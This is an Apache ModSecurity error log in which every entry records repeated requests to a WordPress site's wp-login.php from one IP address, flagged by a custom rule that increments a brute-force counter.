[Fri Feb 27 02:23:05.213198 2026] [:error] [pid 20059:tid 20110] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPiZZBS5wIa_Nsqsg0lAAAAcg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:08.057289 2026] [:error] [pid 20059:tid 20109] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPjJZBS5wIa_Nsqsg0mwAAAcc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:10.047796 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPjpZBS5wIa_Nsqsg0qQAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:12.786805 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPkJZBS5wIa_Nsqsg0twAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:14.972098 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPkpZBS5wIa_Nsqsg0vAAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:17.697781 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPlZZBS5wIa_Nsqsg0ywAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:19.396274 2026] [:error] [pid 20059:tid 20123] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPl5ZBS5wIa_Nsqsg02QAAAdU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:22.224577 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPmpZBS5wIa_Nsqsg0-wAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:24.417958 2026] [:error] [pid 20059:tid 20124] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPnJZBS5wIa_Nsqsg1BgAAAdY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:27.144711 2026] [:error] [pid 20059:tid 20123] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPn5ZBS5wIa_Nsqsg1GQAAAdU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:28.890915 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPoJZBS5wIa_Nsqsg1KQAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:31.570628 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPo5ZBS5wIa_Nsqsg1MwAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:33.585071 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPpZZBS5wIa_Nsqsg1QAAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:37.426263 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPqZZBS5wIa_Nsqsg1VAAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:39.189159 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPq5ZBS5wIa_Nsqsg1XgAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:41.999848 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPrZZBS5wIa_Nsqsg1cAAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:44.110284 2026] [:error] [pid 20059:tid 20121] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPsJZBS5wIa_Nsqsg1fwAAAdM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:46.906844 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPspZBS5wIa_Nsqsg1mQAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:48.862541 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPtJZBS5wIa_Nsqsg1ogAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:51.600027 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPt5ZBS5wIa_Nsqsg1swAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:53.470532 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPuZZBS5wIa_Nsqsg1uwAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:23:58.735591 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:61584] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPvpZBS5wIa_Nsqsg10AAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:01.641029 2026] [:error] [pid 18818:tid 18899] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPwRhPgqk2SeS_W83OmwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:05.555129 2026] [:error] [pid 18818:tid 18894] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPxRhPgqk2SeS_W83OnwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:07.649891 2026] [:error] [pid 18818:tid 18901] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPxxhPgqk2SeS_W83OogAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:10.367504 2026] [:error] [pid 18818:tid 18893] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPyhhPgqk2SeS_W83OpwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:12.553438 2026] [:error] [pid 18818:tid 18885] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPzBhPgqk2SeS_W83OqQAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:15.640611 2026] [:error] [pid 18818:tid 18906] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPzxhPgqk2SeS_W83OrwAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:17.522211 2026] [:error] [pid 18818:tid 18894] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP0RhPgqk2SeS_W83OtAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:20.321946 2026] [:error] [pid 18818:tid 18901] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP1BhPgqk2SeS_W83OuQAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:22.255873 2026] [:error] [pid 18818:tid 18893] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP1hhPgqk2SeS_W83OvAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:24.960671 2026] [:error] [pid 18818:tid 18898] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP2BhPgqk2SeS_W83OwgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:27.101146 2026] [:error] [pid 18818:tid 18895] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP2xhPgqk2SeS_W83OxAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:29.779824 2026] [:error] [pid 18818:tid 18886] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP3RhPgqk2SeS_W83OyAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:31.600494 2026] [:error] [pid 18818:tid 18896] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP3xhPgqk2SeS_W83OyQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:34.261478 2026] [:error] [pid 18818:tid 18888] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP4hhPgqk2SeS_W83O0AAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:36.239928 2026] [:error] [pid 18818:tid 18892] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP5BhPgqk2SeS_W83O2AAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:38.946248 2026] [:error] [pid 18818:tid 18887] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP5hhPgqk2SeS_W83O3gAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:41.087297 2026] [:error] [pid 18818:tid 18893] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP6RhPgqk2SeS_W83O4AAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:43.899872 2026] [:error] [pid 18818:tid 18885] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP6xhPgqk2SeS_W83O4gAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:45.816121 2026] [:error] [pid 18818:tid 18902] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP7RhPgqk2SeS_W83O4wAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:48.583266 2026] [:error] [pid 18818:tid 18898] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP8BhPgqk2SeS_W83O5QAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:50.321360 2026] [:error] [pid 18818:tid 18888] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP8hhPgqk2SeS_W83O5gAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:53.020050 2026] [:error] [pid 18818:tid 18903] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP9RhPgqk2SeS_W83O6gAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:54.770806 2026] [:error] [pid 18818:tid 18908] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP9hhPgqk2SeS_W83O6wAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:57.689487 2026] [:error] [pid 18818:tid 18891] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP-RhPgqk2SeS_W83O7QAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:24:59.882895 2026] [:error] [pid 18818:tid 18896] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP-xhPgqk2SeS_W83O8AAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:02.816806 2026] [:error] [pid 18818:tid 18905] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCP_hhPgqk2SeS_W83O8wAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:05.000726 2026] [:error] [pid 18818:tid 18907] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQABhPgqk2SeS_W83O9AAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:07.746843 2026] [:error] [pid 18818:tid 18893] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQAxhPgqk2SeS_W83O9gAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:09.598764 2026] [:error] [pid 18818:tid 18902] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQBRhPgqk2SeS_W83O9wAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:12.464523 2026] [:error] [pid 18818:tid 18898] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQCBhPgqk2SeS_W83O-QAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:14.468580 2026] [:error] [pid 18818:tid 18901] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQChhPgqk2SeS_W83O-gAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:17.263779 2026] [:error] [pid 18818:tid 18899] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQDRhPgqk2SeS_W83O_QAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:19.188959 2026] [:error] [pid 18818:tid 18897] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQDxhPgqk2SeS_W83O_gAAAA0"], referer: https://gigfragments.org/wp-login.php
